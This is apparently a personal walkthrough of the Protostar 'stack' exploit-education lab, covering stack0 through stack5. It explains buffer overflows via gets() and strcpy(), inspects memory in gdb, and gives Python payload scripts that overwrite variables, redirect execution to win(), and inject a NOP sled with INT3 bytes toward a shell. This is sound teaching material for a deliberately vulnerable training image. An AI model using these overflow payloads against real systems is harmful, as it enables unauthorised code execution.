Protostar - Stack
Enjoy reading my Protostart Stack Walkthrough
Protostar
Protostar is an iso image containing several applications that are vulnerable to buffer overflows. These overflows can be used to change the behavior or code flow of the application or execute arbitrary code which e.g. leads to a root shell.
Protostar can be downloaded from https://exploit.education/: direct link (Github)
This section covers the tasks that exploit the stack.
stack0
Taking a look at the C code of stack0
we can see two different variables.
First is an integer called modified which is marked as volatile. This means that the variable should not get optimized by the compiler and is used when its value could change unexpectedly.
Next, there's a char array called buffer with a size of 64.
Modified gets initialized with "0" and the gets() method is used to store the user input in buffer
.
The problem with the gets() method is that it reads the input until there's a \0
or an EOF
. This means that without knowing the input data in advance we can not tell how much data gets() reads which makes it vulnerable to a buffer overflow.
(Take a look at the man page using: man gets
to receive more detailed information)
After reading the user input the program checks if modified
is not equal to "0", if so we solved the challenge.
0#include <stdlib.h>
1#include <unistd.h>
2#include <stdio.h>
3
4int main(int argc, char **argv)
5{
6 volatile int modified;
7 char buffer[64];
8
9 modified = 0;
10 gets(buffer);
11
12 if(modified != 0) {
13 printf("you have changed the 'modified' variable\n");
14 } else {
15 printf("Try again?\n");
16 }
17}
I used gdb to take a look at the registers and using the string AAAAAAAAAAAAAAAAAAAAAAAAA
as my input.
In total we can see 25x "41" in the registers which is equal to the number of letters I provided as input before.
The 0x00000000
is probably our modified variable and the memory between the first 0x41 and 0x00000000 can fit 64 characters.
Because gets() doesn't validate if we entered less than 64 characters, exactly 64 characters or more we should be able to overwrite 0x00000000 with our data when entering a string longer than 64 chars.
This time I entered a string containing 64x 'A' (0x41) and one 'B' (0x42) at the end.
As we can see there are 64x 'A' in the registers and one 'B' (0x42) at the end which overwrote the 0x00000000
.
stack 1
stack1 has the same variables as stack0 but this time, the application takes a parameter and copies its value into the buffer variable using the strcpy() method.
Taking a look at the man page of strcpy() we can see that this method copies the whole string including the null terminator (\0
) from the source to the destination.
The destination must be large enough and we should be aware of buffer overruns.
In the "BUGS" section of the man page, we get the tip to check whether the destination is capable of storying the whole string which gets copied from source as overflowing might happen.
0#include <stdlib.h>
1#include <unistd.h>
2#include <stdio.h>
3#include <string.h>
4
5int main(int argc, char **argv)
6{
7 volatile int modified;
8 char buffer[64];
9
10 if(argc == 1) {
11 errx(1, "please specify an argument\n");
12 }
13
14 modified = 0;
15 strcpy(buffer, argv[1]);
16
17 if(modified == 0x61626364) {
18 printf("you have correctly got the variable to the right value\n");
19 } else {
20 printf("Try again, you got 0x%08x\n", modified);
21 }
22}
Once again modified gets set to zero but this time it gets compared to 0x61626364 (abcd). A nice change is that we can see this time which data is stored in modified without using gdb or similar tools.
Using a 64 character long string we can see that modified is still 0.
Now we should pay attention when using our string and appending "abcd" it won't work. This is because Protostar is little endian and not big endian. Using string + "dcba" will match the requirements and result in the needed buffer overflow:
stack 2
This application has three variables, our modified integer, the buffer and this time a char pointer called variable.
First getenv() is used to store the environment variable in our pointer variable.
If there is no environment variable called GREENIE
the program exits with an error message.
Afterwards modified gets set to zero and strcpy is used to copy the string from variable
to buffer
which once again has a size of 64.
This time modified gets compared to 0x0d0a0d0a
.
0#include <stdlib.h>
1#include <unistd.h>
2#include <stdio.h>
3#include <string.h>
4
5int main(int argc, char **argv)
6{
7 volatile int modified;
8 char buffer[64];
9 char *variable;
10
11 variable = getenv("GREENIE");
12
13 if(variable == NULL) {
14 errx(1, "please set the GREENIE environment variable\n");
15 }
16
17 modified = 0;
18
19 strcpy(buffer, variable);
20
21 if(modified == 0x0d0a0d0a) {
22 printf("you have correctly modified the variable\n");
23 } else {
24 printf("Try again, you got 0x%08x\n", modified);
25 }
26
27}
I set GREENIE to 64x 'A' and ran stack2 in gdb to take a look at the registers:
We can see that there is again a 0x00000000
after the buffer which contains 0x41 64 times.
The problem is that the characters we need to add to GREENIE
are no printable characters. Luckily we can use python to add them to the string:
0export GREENIE=$(python -c "print('A' * 64 + '\x0a\x0d\x0a\x0d')")
Because the characters are not printable we can not see a difference when printing the environment variable but without these characters it doesn't overflow and add the values to the register we need.
stack 3
This time we have to modify the code flow of a program:
0#include <stdlib.h>
1#include <unistd.h>
2#include <stdio.h>
3#include <string.h>
4
5void win()
6{
7 printf("code flow successfully changed\n");
8}
9
10int main(int argc, char **argv)
11{
12 volatile int (*fp)();
13 char buffer[64];
14
15 fp = 0;
16
17 gets(buffer);
18
19 if(fp) {
20 printf("calling function pointer, jumping to 0x%08x\n", fp);
21 fp();
22 }
23}
Just like "normal" variables functions have an address in our memory as well.
Our variable fp
is such a function pointer which is set to zero.
Afterwards the user can input data which gets stored in the buffer variable using gets().
If the function pointer is not equal to zero it gets called (our goal for this task).
To call a function using a function pointer we need its address first. Using gdb (or a similar tool) we can get this needed address:
Entering 64x 'A' as an input does not solve the challenge and if we add more characters we will receive a segmentation fault
error because the program tries to jump to an address that does not belong to the process or does not exist.
But we can see that the program tried to jump to 0x00414141
(AAA).
Now let's take the address from the win() function and use python to create a text file containing the needed string.
0printf('A' * 64 + '\x24\x84\x04\x08') //keep in mind to apply little endian
Now we use /tmp/addr
as our user input:
GDB:
run < /tmp/addr
Terminal:
cat /tmp/addr | ./stack3
We successfully manipulated the code flow and solved the challenge.
stack 4
This time we only got our buffer variable and the gets() method but somehow we have to call the function win().
As we do not have a function pointer or something similar this time we might be able to call the win() function by manipulating the instruction pointer
(short: eip).
0#include <stdlib.h>
1#include <unistd.h>
2#include <stdio.h>
3#include <string.h>
4
5void win()
6{
7 printf("code flow successfully changed\n");
8}
9
10int main(int argc, char **argv)
11{
12 char buffer[64];
13
14 gets(buffer);
15}
This time I use an alphabetic string (AAAABBBBCCCC....) as my input and run the application in gdb:
We get a segmentation fault in 0x54545454
(0x54 = 'T') which means we can control eip with the offset of 'T'.
Let's take a look at the registers:
Next, let's get the address of our win() function (already shown in stack 3).
Okay, so my string contains 72x the character 'A' the following four characters are the base pointer (short: ebp) which doesn't matter for this application so we can set it to 4x 'A' as well. Then eip follows which we will set to the address of our win() function.
Using python I created a script, the output will then get piped into a file:
0print('A' * 76 + '\xf4\x83\x04\x08')
python script.py > addr
Now we can pipe the content of the file into our stack4 application:
We successfully modified the code flow of the application but we still get a segmentation fault error. This is because the next address on the stack is not valid.
stack 5
- At this point, it might be easier to use someone elses shellcode
- If debugging the shellcode, use \xcc (int3) to stop the program from executing and return to the debugger
- Remove the int3s once your shellcode is done.
These are the tips/instructions we receive together with the following C program:
0#include <stdlib.h>
1#include <unistd.h>
2#include <stdio.h>
3#include <string.h>
4
5int main(int argc, char **argv)
6{
7 char buffer[64];
8
9 gets(buffer);
10}
We have a software without a real functionality but from before we know that the gets() function is vulnerable to buffer overflows.
For this challenge, I will create a python script which in the end will generate the whole exploit. But first, let's find the offset that controls esp
.
I set a breakpoint at ret
of the main function and took a look at the stack:
When moving forward using si
we can see that esp
now points to the address which was the first in the stack before:
Now I used the output of my payload script as my input (the current output is: AAAABBBBCCCC...ZZZZ) and took a look at the stack once again.
The stack got overwritten with 0x54545454 (0x54 = 'T'), so we found our offset for the.
Next, we choose an address to jump to, e.g. the address after ret
:
One of the tips we received at the very beginning was If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
.
The INT3 instruction is a one-byte-instruction defined for use by debuggers to temporarily replace an instruction in a running program in order to set a code breakpoint. The more general INT XXh instructions are encoded using two bytes. This makes them unsuitable for use in patching instructions (which can be one byte long); see SIGTRAP.
The opcode for INT3 is 0xCC, as opposed to the opcode for INT immediate8, which is 0xCD immediate8. Since the dedicated 0xCC opcode has some desired special properties for debugging, which are not shared by the normal two-byte opcode for an INT3, assemblers do not normally generate the generic 0xCD 0x03 opcode from mnemonics.[1]
Source: Wikipedia
I added the INT3 instruction to my script and used the new output as my input:
0import struct
1
2padding = 'AAAABBBBCCCC....SSSS'
3eip = struct.pack('I', 0xbffff6c0)
4payload = '\xCC'*4
5
6print(padding + eip + payload)
ret
will then pop the instruction pointer and continue on the stack which in this case will result in code execution:
Trace/breakpoint trap
indicates that INT3 got triggered => the programm stopped.
This means we successfully injected assembler code.
Unfortunately, depending on our working directory our code injection will not work anymore:
(You also might get Illegal instruction
instead of Segmentation fault)
This is because the stack changes due to different environment variables etc. like the current working directory which results in a change of addresses.
There are quite a few workarounds like clearing the environment variables or use nop slides :)
nop = no operation, it will simply step to the next address in the memory.
New script:
0import struct
1
2padding = 'AAAABBBBCCCC....SSSS'
3
4eip = struct.pack('I', 0xbffff6d0+16)
5payload = '\x90' *100 + '\xCC'*4
6
7print(padding + eip + payload)
Ok so we got code execution and a workaround for the slightly different addresses in the stack, now we need some shellcode.
Let's replace the INT3 instruction with our shellcode and run it.
When running python /tmp/script.py | /opt/protonstar/bin/stack5
like before we won't get any output nor a shell.
This is because the shell expects input and after the python script got executed the pipe got closed which resulted in the shell closing as well.
Luckily there's a neat trick to keep it open using the reflection of cat
(Thank you LiveOverflow!).
Using (python /tmp/script.py; cat) | /opt/protonstar/bin/stack5
we can keep the pipe and the shell open. Cat will now pipe all our standard input to the shell.
More coming soon